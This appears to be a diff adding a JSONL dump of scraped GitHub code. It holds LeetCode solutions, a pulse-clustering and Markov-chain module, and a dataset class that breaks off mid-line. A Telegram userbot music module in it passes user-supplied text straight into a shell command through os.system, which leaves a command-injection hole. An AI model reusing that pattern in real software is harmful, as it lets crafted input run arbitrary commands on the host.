diff --git "a/4310.jsonl" "b/4310.jsonl" new file mode 100644--- /dev/null +++ "b/4310.jsonl" @@ -0,0 +1,756 @@ +{"seq_id":"7300140013","text":"# 给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。\n# 请你将两个数相加,并以相同形式返回一个表示和的链表。\n# 你可以假设除了数字 0 之外,这两个数都不会以 0 开头。\n\n# 暴力强行相加法\ndef add1(l1,l2):\n n1, n2 = \"\",\"\"\n dummy = p = ListNode(None)\n # 得到两个加数\n while l1:\n n1 = str(l1.val) + n1\n l1 = l1.next\n while l2:\n n2 = str(l2.val) + n2\n l2 = l2.next\n # 计算并反转结果\n s = \"\"\n for i in str(int(n1) + int(n2)):\n s = i + s\n # 加入链表\n for i in s:\n p.next = ListNode(int(i))\n p = p.next \n return dummy.next","repo_name":"lswlc33/leetcode_ansewer","sub_path":"2两数相加.py","file_name":"2两数相加.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74755516721","text":"\"\"\"Кластеризатор одиночных пульсов по форме и по расположению в последовательности.\r\nКодировщики/декодировщики импульсов в соответствии с их кластерами.\r\nПростейшие реализации Марковских цепей для закодированных состояний\"\"\"\r\n\r\nfrom copy import deepcopy\r\n\r\nimport buildingBlocks.default.Tokens as Tokens\r\nimport buildingBlocks.Globals.GlobalEntities as Ge\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import cluster\r\nimport random\r\n\r\n\r\nclass ClustererPulses:\r\n def __init__(self, distance_threshold=1, params: dict = None):\r\n self.distance_threshold = distance_threshold\r\n self.params = params\r\n\r\n self.points_maxs = []\r\n\r\n def _get_points(self, tokens):\r\n grid = self.params['grid']\r\n # durations = list(map(lambda token: token.param(name='Pulse front duration') +\r\n # token.param(name='Pulse recession duration'), tokens))\r\n # max_duration = min(np.max(durations), grid.max() - grid.min())\r\n # points = np.array(list(map(lambda token: token.value(grid))))\r\n pulse_starts = list(map(lambda token: token.param('Pulse start'), tokens))\r\n # print(\"check param\", tokens[0].param(\"Pulse start\"))\r\n for idx, token in enumerate(tokens):\r\n token.set_param(grid[0][1], name='Pulse start') # !!!!!!\r\n points = list(map(lambda token: token.value(grid), tokens))\r\n for idx, token in enumerate(tokens):\r\n token.set_param(pulse_starts[idx], name='Pulse start')\r\n\r\n points = list(map(lambda point: point[point != 0], points))\r\n idx_max_duration = np.argmax(list(map(lambda point: len(point), points)))\r\n max_duration = len(points[idx_max_duration])\r\n for idx, point in enumerate(points):\r\n point_duration = len(point)\r\n if idx != idx_max_duration and point_duration < max_duration:\r\n points[idx] = np.append(point, np.zeros(max_duration-point_duration))\r\n points = np.array(points)\r\n self.points_maxs.append(points.max())\r\n points /= np.max(self.points_maxs)\r\n # points /= len(points[0])\r\n return points\r\n\r\n def fit(self, tokens: list):\r\n points = self._get_points(tokens)\r\n # model = cluster.DBSCAN(min_samples=self.min_samples, eps=self.eps)\r\n model = cluster.AgglomerativeClustering(n_clusters=None, distance_threshold=self.distance_threshold,\r\n compute_full_tree=True)\r\n model.fit(points)\r\n # for idx, token in enumerate(tokens):\r\n # token.cluster_label = model.labels_[idx]\r\n print('cluster labels: ', model.labels_.max())\r\n\r\n # TODO для кластеров из одного токена сделать фит предикт в один из существующих кластеров\r\n # Визуализация результатов (вместо логов)\r\n # fig = plt.figure('points' + str(np.random.uniform()))\r\n # cmap = plt.get_cmap('gnuplot')\r\n # n = model.labels_.max() + 1\r\n # colors = [cmap(i) for i in np.linspace(0, 1, n)]\r\n # labels = []\r\n # axs = fig.subplots(1, 2)\r\n # for idx, point in enumerate(points):\r\n # if model.labels_[idx] not in labels:\r\n # axs[0].plot(point, color=colors[model.labels_[idx]], label='cluster ' + str(model.labels_[idx]))\r\n # axs[1].plot(tokens[idx].value(self.params['grid']), color=colors[model.labels_[idx]], label='cluster ' + str(model.labels_[idx]))\r\n # labels.append(model.labels_[idx])\r\n # else:\r\n # axs[0].plot(point, color=colors[model.labels_[idx]])\r\n # axs[1].plot(tokens[idx].value(self.params['grid']), color=colors[model.labels_[idx]])\r\n # # plt.legend(loc=1)\r\n # for ax in axs:\r\n # ax.set_title('form clustering')\r\n # ax.set_xlabel('time index')\r\n # ax.set_ylabel('amplitude')\r\n # ax.grid(True)\r\n # # ax.legend(loc=1)\r\n # plt.tight_layout()\r\n\r\n return model.labels_\r\n\r\n\r\nclass ClustererGaps(ClustererPulses):\r\n def __init__(self, distance_threshold=0.2):\r\n super().__init__(distance_threshold=distance_threshold)\r\n\r\n def _get_points(self, tokens):\r\n pulse_starts = list(map(lambda imp: imp.param(name='Pulse start'), tokens))\r\n points = np.array(list(map(lambda pair: pair[1]-pair[0], zip(pulse_starts[:-1], pulse_starts[1:]))))\r\n self.gaps_data = dict(gaps=points)\r\n # if len(points) != 0:\r\n points_for_fit = points/points.max()\r\n # else:\r\n # points_for_fit = points\r\n points_for_fit = points_for_fit.reshape(len(points), 1)\r\n # points_for_fit /= len(points_for_fit[0])\r\n return points_for_fit\r\n\r\n def fit(self, tokens: list):\r\n points = self._get_points(tokens)\r\n # model = cluster.DBSCAN(min_samples=self.min_samples, eps=self.eps)\r\n # if len(points) <= 1:\r\n # return np.zeros(len(points))\r\n model = cluster.AgglomerativeClustering(n_clusters=None, distance_threshold=self.distance_threshold,\r\n compute_full_tree=True)\r\n model.fit(points)\r\n return model.labels_\r\n\r\n\r\nclass Coder:\r\n def __init__(self, individ, clusterer_value, clusterer_gaps, params: dict = None): # todo поменять инд на лист сложных токенов\r\n self.individ = individ\r\n self.clusterer_value = clusterer_value\r\n self.clusterer_gaps = clusterer_gaps\r\n self.params = params\r\n _, self.complex_imps = self._get_complex_imps()\r\n self.all_imps = self._get_all_imps()\r\n self._prepare_imps()\r\n\r\n self.decode_data = {}\r\n\r\n def _get_complex_imps(self):\r\n idxs_complex_imps = list(filter(lambda idx: isinstance(self.individ.structure[idx], Tokens.ImpComplex),\r\n range(len(self.individ.structure))))\r\n complex_imps = list(filter(lambda token: isinstance(token, Tokens.ImpComplex),\r\n self.individ.structure))\r\n\r\n # todo complex_imps must be sorted by fitness\r\n fits = list(map(lambda token: token.fitness, complex_imps))\r\n complex_imps = [complex_imps[i] for i in np.argsort(fits)]\r\n fits = [fits[i] for i in np.argsort(fits)]\r\n for i in range(len(fits)-1):\r\n assert fits[i] <= fits[i+1], 'not sorted'\r\n\r\n return idxs_complex_imps, complex_imps\r\n\r\n def _get_all_imps(self):\r\n all_imps = []\r\n for complex_imp in self.complex_imps:\r\n all_imps.extend(complex_imp.structure)\r\n # sorted(all_imps, key=lambda x: x.param(name='Pulse start'))\r\n pulse_starts = list(map(lambda imp: imp.param(name='Pulse start'), all_imps))\r\n idxs = np.argsort(pulse_starts)\r\n all_imps = [all_imps[idx] for idx in idxs]\r\n return all_imps\r\n\r\n def _prepare_imps(self):\r\n # grid = self.params['grid']\r\n # for idx, imp in enumerate(self.all_imps):\r\n # val = imp.value(grid)\r\n # non_zero_grid = grid[val != 0]\r\n # imp.set_param(non_zero_grid.min(), name='Pulse start')\r\n # imp.set_param(non_zero_grid.max() -\r\n # (non_zero_grid.min() +\r\n # imp.param(name='Pulse front duration')), name='Pulse recession duration')\r\n # sorted(self.all_imps, key=lambda x: x.param(name='Pulse start'))\r\n for complex_imp in self.complex_imps:\r\n for imp in complex_imp.structure:\r\n imp.set_param(imp.param(name='Amplitude')*complex_imp.param(name='Amplitude'),\r\n name='Amplitude')\r\n\r\n def _label_gaps(self):\r\n # pulse_starts = list(map(lambda imp: imp.param(name='Pulse start'), self.all_imps))\r\n pulse_starts = list(map(lambda imp: imp.param(name='Pulse start'), self.all_imps))\r\n gaps = np.array(list(map(lambda pair: pair[1]-pair[0], zip(pulse_starts[:-1], pulse_starts[1:]))))\r\n\r\n gaps_for_fit = gaps/gaps.max()\r\n gaps_for_fit = gaps_for_fit.reshape(len(gaps), 1)\r\n\r\n clusterer = self.clusterer_gaps\r\n clusterer.fit(gaps_for_fit)\r\n labels = clusterer.labels_\r\n # print('time labels: ', labels)\r\n\r\n for idx, imp in enumerate(self.all_imps):\r\n try:\r\n imp.id_gap = labels[idx-1]\r\n except IndexError:\r\n # imp.id_gap = clusterer.fit_predict(np.array([gaps.mean()]))[0] # todo надо бы сделать среднее время из его кластера\r\n imp.id_gap = clusterer.fit_predict(np.array([imp.param(name='Pulse start')]))[0]\r\n self.gaps_data = dict(gaps=gaps, gaps_labels=labels)\r\n\r\n # colors = ('red', 'blue', 'black', 'green', 'orange', 'y')\r\n # for idx, imp in enumerate(self.all_imps):\r\n # plt.figure('time gaps')\r\n # plt.plot(imp.value(self.params['grid']) + imp.id_gap, color=colors[imp.id_gap % len(colors)])\r\n\r\n # sum_gaps = 0\r\n # for idx, imp in enumerate(all_imps):\r\n # try:\r\n # imp.id_gap = all_imps[idx+1].param(name='Pulse start') - all_imps[idx].param(name='Pulse start')\r\n # sum_gaps += imp.id_gap\r\n # except IndexError:\r\n # imp.id_gap = sum_gaps/idx\r\n\r\n def _label_complex_imps(self):\r\n for idx, complex_imp in enumerate(self.complex_imps):\r\n complex_imp.id_ImpComplex = idx\r\n for idx_imp, imp in enumerate(complex_imp.structure):\r\n imp.id_ImpComplex = complex_imp.id_ImpComplex\r\n\r\n def _label_values(self):\r\n for idx, complex_imp in enumerate(self.complex_imps):\r\n cluster_labels = self.clusterer_value.fit(complex_imp.structure)\r\n for idx_imp, imp in enumerate(complex_imp.structure):\r\n imp.id_cluster = cluster_labels[idx_imp]\r\n\r\n def _label_tokens(self):\r\n self._label_gaps()\r\n\r\n info = []\r\n for idx, complex_imp in enumerate(self.complex_imps):\r\n cluster_labels = self.clusterer_value.fit(complex_imp.structure)\r\n complex_imp.id_ImpComplex = idx\r\n info.append(cluster_labels.max())\r\n for idx_imp, imp in enumerate(complex_imp.structure):\r\n imp.id_cluster = cluster_labels[idx_imp]\r\n imp.id_ImpComplex = idx\r\n\r\n # colors = ('red', 'blue', 'black', 'green', 'orange', 'y', 'purple', 'brown')\r\n # colors = [\r\n # 'PiYG', 'PRGn', 'BrBG', 'PuOr', 'RdGy', 'RdBu',\r\n # 'RdYlBu', 'RdYlGn', 'Spectral', 'coolwarm', 'bwr', 'seismic']\r\n # cmap = plt.get_cmap('gnuplot')\r\n # colors = [cmap(i) for i in np.linspace(0, 1, np.array(info).max()+1)]\r\n # lines = ('-', '--', '-o')\r\n # names = []\r\n # for idx, imp in enumerate(self.all_imps):\r\n # plt.figure('time gaps')\r\n # plt.title('clustering')\r\n # name = str(imp.id_cluster)\r\n # if name not in names:\r\n # plt.plot(imp.value(self.params['grid']) + imp.id_gap, color=colors[imp.id_cluster],#color=colors[imp.id_cluster % len(colors)],\r\n # label=name)\r\n # names.append(name)\r\n # else:\r\n # plt.plot(imp.value(self.params['grid']) + imp.id_gap, color=colors[imp.id_cluster % len(colors)])\r\n # plt.xlabel('time')\r\n # plt.ylabel('amplitude/gap cluster')\r\n # # plt.legend()\r\n # plt.grid(True)\r\n\r\n def encode(self):\r\n self._label_tokens()\r\n labels = []\r\n for imp in self.all_imps:\r\n labels.append(tuple((imp.id_ImpComplex, imp.id_cluster, imp.id_gap)))\r\n return labels\r\n\r\n def decode(self, labels, grid=None, init_pulse_start=0):\r\n if grid is None:\r\n grid = self.params['grid']\r\n grid_max = grid.max()\r\n new_imps = []\r\n for label in labels:\r\n id_ImpComplex, id_cluster, id_gap = label\r\n complex_imp = list(filter(lambda cimp: cimp.id_ImpComplex == id_ImpComplex, self.complex_imps))[0]\r\n imps = list(filter(lambda imp: imp.id_cluster == id_cluster, complex_imp.structure))\r\n new_imp = np.random.choice(imps).copy()\r\n gap = np.random.choice(self.gaps_data['gaps'][self.gaps_data['gaps_labels'] == id_gap])\r\n\r\n try:\r\n new_imp.set_param(new_imps[-1].param(name='Pulse start') + gap, name='Pulse start')\r\n except IndexError:\r\n new_imp.set_param(np.random.uniform(init_pulse_start, init_pulse_start+gap), name='Pulse start')\r\n\r\n # break decoding extra labels\r\n\r\n new_imps.append(new_imp)\r\n if new_imp.param(name='Pulse start') >= grid_max:\r\n break\r\n return new_imps\r\n# todo мы генерим цепью маркова батч семплов, потом смотрим где старт последнего пульса, если недостаточно\r\n# то генерим еще, если сгенерили лишка то нужно поставить проверку в декодере что старт пульса превышает грид макс\r\n\r\n\r\nclass MarkovChain:\r\n def __init__(self, transitions: dict = None):\r\n if transitions is None:\r\n transitions = {}\r\n self.transitions = transitions\r\n\r\n def fit(self, states: list):\r\n for idx, state in enumerate(states):\r\n if state not in self.transitions.keys():\r\n self.transitions[state] = []\r\n try:\r\n self.transitions[state].append(states[idx + 1])\r\n except IndexError:\r\n pass\r\n\r\n def generate(self, super_state=None, n_samples=1):\r\n all_states = list(self.transitions.keys())\r\n if super_state is None:\r\n # super_state = random.choice(all_states)\r\n super_state = all_states[0]\r\n generated = [super_state]\r\n for _ in range(n_samples):\r\n concurrent_state = generated[-1]\r\n states = self.transitions[concurrent_state]\r\n if states:\r\n new_state = random.choice(states)\r\n else:\r\n cluster_states = list(filter(lambda x: (x[0] == concurrent_state[0] and\r\n x[1] == concurrent_state[1] and\r\n x != concurrent_state),\r\n all_states))\r\n if cluster_states:\r\n state = random.choice(cluster_states)\r\n new_state = random.choice([state])\r\n else:\r\n cluster_states = list(filter(lambda x: (x[0] == concurrent_state[0] and\r\n x != concurrent_state),\r\n all_states))\r\n if cluster_states:\r\n state = random.choice(cluster_states)\r\n new_state = random.choice([state])\r\n else:\r\n # raise\r\n new_state = random.choice(all_states)\r\n # print('{} -> {}'.format(generated[-1], new_state))\r\n generated.append(new_state)\r\n # print('generated: ', generated)\r\n return generated, generated[-1]\r\n\r\n\r\nclass Coder2(Coder):\r\n\r\n def _label_values(self):\r\n cluster_labels = self.clusterer_value.fit(self.all_imps)\r\n for idx_imp, imp in enumerate(self.all_imps):\r\n imp.id_cluster = cluster_labels[idx_imp]\r\n\r\n def _label_gaps(self):\r\n n_clusters = max(list(map(lambda imp: imp.id_cluster, self.all_imps)))\r\n for idx in range(n_clusters + 1):\r\n imp_cluster = list(filter(lambda imp: imp.id_cluster == idx, self.all_imps))\r\n if len(imp_cluster) == 1:\r\n imp_cluster[0].id_gap = 0\r\n self.decode_data[idx] = {}\r\n self.decode_data[idx]['imp_cluster'] = imp_cluster\r\n self.decode_data[idx]['gaps'] = np.array([imp_cluster[0].param('Pulse start')])\r\n self.decode_data[idx]['gaps_labels'] = np.zeros(1)\r\n continue\r\n self.decode_data[idx] = {}\r\n self.decode_data[idx]['imp_cluster'] = imp_cluster\r\n cluster_labels = self.clusterer_gaps.fit(imp_cluster)\r\n for idx_imp, imp in enumerate(imp_cluster):\r\n try:\r\n imp.id_gap = cluster_labels[idx_imp-1]\r\n except IndexError:\r\n imp.id_gap = self.clusterer_gaps.fit_predict(np.array([imp.param(name='Pulse start')]))[0]\r\n\r\n print('time labels: ', cluster_labels.max())\r\n\r\n self.decode_data[idx]['gaps'] = deepcopy(self.clusterer_gaps.gaps_data['gaps'])\r\n self.decode_data[idx]['gaps_labels'] = deepcopy(cluster_labels)\r\n\r\n # complex_imp.gaps_data = deepcopy(self.clusterer_gaps.gaps_data)\r\n # complex_imp.gaps_data['gaps_labels'] = deepcopy(cluster_labels)\r\n\r\n\r\n # plt.figure('gaps' + str(idx))\r\n # grid = self.params['grid']\r\n # cmap = plt.get_cmap('gnuplot')\r\n # n = cluster_labels.max()+1\r\n # colors = [cmap(i) for i in np.linspace(0, 1, n)]\r\n # labels = []\r\n # for idx_imp, imp in enumerate(imp_cluster):\r\n # # for idx_imp, imp in enumerate(complex_imp.structure):\r\n # try:\r\n # if imp.id_gap not in labels:\r\n # plt.plot(imp.value(grid), color=colors[imp.id_gap], label='cluster ' + str(imp.id_gap))\r\n # labels.append(imp.id_gap)\r\n # else:\r\n # plt.plot(imp.value(grid), color=colors[imp.id_gap])\r\n # # plt.legend()\r\n # plt.title('gaps clustering')\r\n # plt.xlabel('time index')\r\n # plt.ylabel('amplitude')\r\n #\r\n # except IndexError:\r\n # pass\r\n\r\n def _label_tokens(self):\r\n self._label_complex_imps()\r\n self._label_values()\r\n self._label_gaps()\r\n\r\n def encode(self):\r\n self._label_tokens()\r\n labels = []\r\n for imp in self.all_imps:\r\n labels.append(tuple((imp.id_cluster, imp.id_gap)))\r\n return labels\r\n\r\n def decode(self, labels, grid=None, init_pulse_start=0, generated_imps=None):\r\n if grid is None:\r\n grid = self.params['grid']\r\n if generated_imps is None:\r\n generated_imps = []\r\n grid_max = grid.max()\r\n for label in labels:\r\n if label is None:\r\n continue\r\n # id_ImpComplex, id_cluster, id_gap = label\r\n id_cluster, id_gap = label\r\n # complex_imp = list(filter(lambda cimp: cimp.id_ImpComplex == id_ImpComplex, self.complex_imps))[0]\r\n # imps = list(filter(lambda imp: imp.id_cluster == id_cluster, complex_imp.structure))\r\n imps = self.decode_data[id_cluster]['imp_cluster']\r\n new_imp = random.choice(imps).copy()\r\n # gap = np.random.choice(complex_imp.gaps_data['gaps'][complex_imp.gaps_data['gaps_labels'] == id_gap])\r\n gap = np.random.choice(self.decode_data[id_cluster]['gaps'][self.decode_data[id_cluster]['gaps_labels'] == id_gap])\r\n\r\n # for imp_idx in range(len(generated_imps)-1, -1, -1):\r\n # if new_imp.id_ImpComplex == generated_imps[imp_idx].id_ImpComplex:\r\n # new_imp.set_param(generated_imps[imp_idx].param(name='Pulse start') + gap, name='Pulse start')\r\n # break\r\n # else:\r\n # #todo тут скрыт какой то великий баг\r\n #\r\n # # new_imp.set_param(init_pulse_start + new_imp.param('Pulse start'), name='Pulse start')\r\n # # new_imp.set_param(np.random.uniform(init_pulse_start, init_pulse_start + gap), name='Pulse start')\r\n # # new_imp.set_param(init_pulse_start + gap, name='Pulse start')\r\n #\r\n # new_imp.set_param(complex_imp.structure[0].param('Pulse start'), name='Pulse start')\r\n\r\n for imp_idx in range(len(generated_imps)-1, -1, -1):\r\n if new_imp.id_cluster == generated_imps[imp_idx].id_cluster:\r\n new_imp.set_param(generated_imps[imp_idx].param(name='Pulse start') + gap, name='Pulse start')\r\n break\r\n else:\r\n new_imp.set_param(imps[0].param('Pulse start'), name='Pulse start')\r\n\r\n # break decoding extra labels\r\n\r\n generated_imps.append(new_imp)\r\n if new_imp.param(name='Pulse start') >= grid_max:\r\n break\r\n # return generated_imps\r\n\r\n\r\nclass BayesianChain:\r\n def __init__(self, transitions: dict = None):\r\n if transitions is None:\r\n transitions = {}\r\n self.transitions = transitions\r\n\r\n def fit(self, states: list):\r\n # print('fitting..')\r\n self.super_state_len = max(list(map(lambda x: x[0], states)))+1\r\n super_state = tuple([None for _ in range(self.super_state_len)])\r\n\r\n for idx, state in enumerate(states):\r\n if super_state not in self.transitions.keys():\r\n self.transitions[super_state] = []\r\n try:\r\n self.transitions[super_state].append(state)\r\n next_super_state = list(super_state)\r\n next_super_state[state[0]] = state\r\n # for tmp_idx in range(state[0]+1, self.super_state_len):\r\n # next_super_state[tmp_idx] = None\r\n next_super_state = tuple(next_super_state)\r\n super_state = next_super_state\r\n except IndexError:\r\n pass\r\n self.all_super_states = list(self.transitions.keys())\r\n self.all_states = list(set([s for item in self.all_super_states for s in item]))\r\n # for key, value in self.transitions.items():\r\n # print('{}: {}'.format(key, value))\r\n\r\n def generate(self, super_state=None, init_state=None, n_samples=1):\r\n # cluster_maxs = []\r\n # for i in range(len(all_states[0])):\r\n # labels = list(map(lambda x: x[i], all_states))\r\n # cluster_maxs.append(max(labels))\r\n # vals = []\r\n # probs = []\r\n # for i in range(len(cluster_maxs)):\r\n # vals.append(list(range(cluster_maxs[i])))\r\n\r\n if super_state is None:\r\n super_state = self.all_super_states[0]\r\n generated = list(super_state)\r\n else:\r\n generated = []\r\n for _ in range(n_samples):\r\n concurrent_state = super_state\r\n # for i in range(self.super_state_len-1, -2, -1):\r\n # try:\r\n # states = self.transitions[concurrent_state]\r\n # break\r\n # except KeyError:\r\n # concurrent_state = list(concurrent_state)\r\n # concurrent_state[i] = None\r\n # concurrent_state = tuple(concurrent_state)\r\n try:\r\n new_state = new_state\r\n except:\r\n new_state = init_state\r\n while True:\r\n try:\r\n states = self.transitions[concurrent_state]\r\n new_state = random.choice(states)\r\n break\r\n except KeyError or IndexError or ValueError:\r\n concurrent_state = list(concurrent_state)\r\n # зависящий от длины состояния пульса код\r\n if np.random.uniform() <= 0.9:\r\n # try:\r\n # tmp = list(filter(lambda s: s is not None and s[0] == new_state[0] and s[1] == new_state[1],\r\n # self.all_states))\r\n # concurrent_state[new_state[0]] = random.choice(tmp)\r\n # except IndexError or ValueError:\r\n tmp = list(filter(lambda s: s is not None and s[0] == new_state[0], self.all_states))\r\n concurrent_state[new_state[0]] = random.choice(tmp)\r\n else:\r\n concurrent_state = random.choice(self.all_super_states)\r\n concurrent_state = tuple(concurrent_state)\r\n\r\n # print('{} -> {}'.format(generated[-1], new_state))\r\n generated.append(new_state)\r\n next_super_state = list(super_state)\r\n next_super_state[new_state[0]] = new_state\r\n # for tmp_idx in range(new_state[0] + 1, self.super_state_len):\r\n # next_super_state[tmp_idx] = None\r\n next_super_state = tuple(next_super_state)\r\n super_state = next_super_state\r\n\r\n # print('generated: ', generated)\r\n # print('super_state: ', super_state)\r\n return generated, super_state\r\n","repo_name":"ITMO-NSS-team/algebrfun","sub_path":"buildingBlocks/Synthesis/Chain.py","file_name":"Chain.py","file_ext":"py","file_size_in_byte":25602,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"74459433202","text":"# AnggaR96s\n\nfrom telethon import events\nimport subprocess\nfrom telethon.errors.rpcerrorlist import YouBlockedUserError\nimport asyncio\nfrom userbot.events import register\nfrom userbot import bot, CMD_HELP\nimport glob\nimport os\n\nos.system(\"rm -rf *.mp3\")\n\n\ndef bruh(name):\n os.system(\"instantmusic -q -s \" + name)\n\n\n@register(outgoing=True, pattern=r\"^.song (.*)\")\nasync def _(event):\n if event.fwd_from:\n return\n cmd = event.pattern_match.group(1)\n reply_to_id = event.message.id\n if event.reply_to_msg_id:\n reply_to_id = event.reply_to_msg_id\n await event.edit(\"`Ok finding the song..`\")\n bruh(str(cmd))\n l = glob.glob(\"*.mp3\")\n loa = l[0]\n await event.edit(\"`Sending song..`\")\n await event.client.send_file(\n event.chat_id,\n loa,\n force_document=True,\n allow_cache=False,\n caption=cmd,\n reply_to=reply_to_id,\n )\n os.system(\"rm -rf *.mp3\")\n subprocess.check_output(\"rm -rf *.mp3\", shell=True)\n await event.delete()\n\n\n@register(outgoing=True, pattern=\"^.smd(?: |$)(.*)\")\nasync def _(event):\n if event.fwd_from:\n return\n link = event.pattern_match.group(1)\n chat = \"@SpotifyMusicDownloaderBot\"\n await event.edit(\"```Getting Your Music```\")\n async with bot.conversation(chat) as conv:\n await asyncio.sleep(2)\n await event.edit(\"`Downloading music taking some times, Stay Tuned.....`\")\n try:\n response = conv.wait_event(\n events.NewMessage(incoming=True, from_users=752979930)\n )\n await bot.send_message(chat, link)\n respond = await response\n await bot.send_read_acknowledge(conv.chat_id)\n except YouBlockedUserError:\n await event.reply(\n \"```Please unblock @SpotifyMusicDownloaderBot and try again```\"\n )\n return\n await event.delete()\n await bot.forward_messages(event.chat_id, respond.message)\n await bot.send_read_acknowledge(event.chat_id)\n\n\nCMD_HELP.update(\n {\n \"song\": \">`.song` **atrist title**\"\n \"\\nUsage: Finding and uploading song.\\n\"\n \">`.smd` ****\"\n \"\\nUsage: **Download music from spotify**\"\n }\n)\n","repo_name":"fortifying/OUBnew","sub_path":"userbot/modules/getmusic.py","file_name":"getmusic.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"27049845630","text":"# 480. Binary Tree PathsDescription\n# 中文\n# English\n# Given a binary tree, return all root-to-leaf paths.\n\n# Have you met this question in a real interview? \n# Example\n# Example 1:\n\n# Input:\n\n# 1\n# / \\\n# 2 3\n# \\\n# 5\n\n# Output:\n\n\n# [\n# \"1->2->5\",\n# \"1->3\"\n# ]\n# Example 2:\n\n# Input:\n\n# 1\n# / \n# 2 \n \n\n# Output:\n\n\n# [\n# \"1->2\"\n# ]\n\n\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param root: the root of the binary tree\n @return: all root-to-leaf paths\n \"\"\"\n def binaryTreePaths(self, root):\n # write your code here\n if root is None:\n return []\n result = []\n path = [str(root.val)]\n self.dfs(result, path, root)\n \n return result\n def dfs(self, result, path, root):\n if root.left is None and root.right is None:\n new_path = '->'.join(path)\n result.append(new_path)\n return\n if root.left:\n path.append(str(root.left.val))\n self.dfs(result, path, root.left)\n path.pop()\n if root.right:\n path.append(str(root.right.val))\n self.dfs(result, path, root.right)\n path.pop()","repo_name":"runzezhang/Code-NoteBook","sub_path":"lintcode/0480-binary-tree-paths.py","file_name":"0480-binary-tree-paths.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34641154753","text":"import numpy as np\n\nfrom .hidata import HierarData\nfrom ..utils.math import nprng\n\n\ndef _get_n(data):\n return data[0].shape[0] if isinstance(data, list) else data.shape[0]\n\n\ndef _combine(*args):\n if isinstance(args[0], list):\n data = []\n for j in xrange(len(args[0])):\n data.append(np.concatenate([d[j] for d in args], axis=0))\n else:\n data = np.concatenate([d for d in args], axis=0)\n\n return data\n\n\nclass Subset(object):\n\n def __init__(self, input=None, target=None):\n self.input = input\n self.target = target\n\n def prepare(self, irange):\n if isinstance(self.input, list):\n for x in self.input:\n x.prepare(irange)\n else:\n self.input.prepare(irange)\n\n if isinstance(self.target, list):\n for x in self.target:\n x.prepare(irange)\n else:\n self.target.prepare(irange)\n\n\nclass Dataset(object):\n\n \"\"\"Construct a dataset to provide training, validation, and testing data.\n\n The dataset is just a wrapper of these data. All the data are stored in CPU\n memory.\n\n Attributes\n ----------\n input : numpy.ndarray or list of numpy.ndarray\n The whole input data. If there is only one category of input data, then\n alongside the first dimension of the numpy.ndarray are input samples.\n Otherwise, multiple categories of input data form a list of\n numpy.ndarray. *Read-only*.\n\n target : numpy.ndarray or list of numpy.ndarray\n The whole target data. If there is only one category of target data,\n then alongside the first dimension of the numpy.ndarray are target\n samples. Otherwise, multiple categories of target data form a list of\n numpy.ndarray. *Read-only*.\n\n train, valid, test : Wrapper\n These are Wrapper objects for training, validation, and testing data.\n Each contains three fields: input, target, and index. Field input is a\n subset of the whole input data; field target is a subset of the whole\n target data; field index is a numpy vector storing the index of subset\n samples in the whole data. *Read-only*.\n\n Parameters\n ----------\n input : numpy.ndarray or list of numpy.ndarray\n The whole input data. If there is only one category of input data, then\n alongside the first dimension of the numpy.ndarray are input samples.\n Otherwise, multiple categories of input data form a list of\n numpy.ndarray.\n\n target : numpy.ndarray or list of numpy.ndarray\n The whole target data. If there is only one category of target data,\n then alongside the first dimension of the numpy.ndarray are target\n samples. Otherwise, multiple categories of target data form a list of\n numpy.ndarray.\n \"\"\"\n\n def __init__(self, input=None, target=None,\n train=None, valid=None, test=None,\n limit=None):\n super(Dataset, self).__init__()\n\n self._limit = limit\n self._train = Subset()\n self._valid = Subset()\n self._test = Subset()\n\n if input is not None and target is not None:\n self._input = input\n self._target = target\n elif train is not None and valid is not None and test is not None:\n self._input = _combine(train.input, valid.input, test.input)\n self._target = _combine(train.target, valid.target, test.target)\n\n if isinstance(train.input, list):\n self._train.input = \\\n [HierarData(X, limit=self._limit) for X in train.input]\n self._valid.input = \\\n [HierarData(X, limit=self._limit) for X in valid.input]\n self._test.input = \\\n [HierarData(X, limit=self._limit) for X in test.input]\n else:\n self._train.input = HierarData(train.input, limit=self._limit)\n self._valid.input = HierarData(valid.input, limit=self._limit)\n self._test.input = HierarData(test.input, limit=self._limit)\n\n if isinstance(train.target, list):\n self._train.target = \\\n [HierarData(X, limit=self._limit) for X in train.target]\n self._valid.target = \\\n [HierarData(X, limit=self._limit) for X in valid.target]\n self._test.target = \\\n [HierarData(X, limit=self._limit) for X in test.target]\n else:\n self._train.target = HierarData(\n train.target, limit=self._limit)\n self._valid.target = HierarData(\n valid.target, limit=self._limit)\n self._test.target = HierarData(test.target, limit=self._limit)\n\n n_train = _get_n(train.input)\n n_valid = _get_n(valid.input)\n n_test = _get_n(test.input)\n\n self._train_ind = np.arange(n_train)\n self._valid_ind = np.arange(n_train, n_train + n_valid)\n self._test_ind = np.arange(n_train + n_valid,\n n_train + n_valid + n_test)\n else:\n raise ValueError(\"Invalid combination of arguments\")\n\n def split(self, train_ratio, valid_ratio):\n n = _get_n(self._input)\n\n n_train = int(n * train_ratio)\n n_valid = int(n * valid_ratio)\n\n p = nprng.permutation(n)\n\n self._train_ind = p[0: n_train]\n self._valid_ind = p[n_train: n_train + n_valid]\n self._test_ind = p[n_train + n_valid:]\n\n if isinstance(self._input, list):\n self._train.input = \\\n [HierarData(X[self._train_ind], limit=self._limit)\n for X in self._input]\n self._valid.input = \\\n [HierarData(X[self._valid_ind], limit=self._limit)\n for X in self._input]\n self._test.input = \\\n [HierarData(X[self._test_ind], limit=self._limit)\n for X in self._input]\n else:\n self._train.input = HierarData(self._input[self._train_ind],\n limit=self._limit)\n self._valid.input = HierarData(self._input[self._valid_ind],\n limit=self._limit)\n self._test.input = HierarData(self._input[self._test_ind],\n limit=self._limit)\n\n if isinstance(self._target, list):\n self._train.target = \\\n 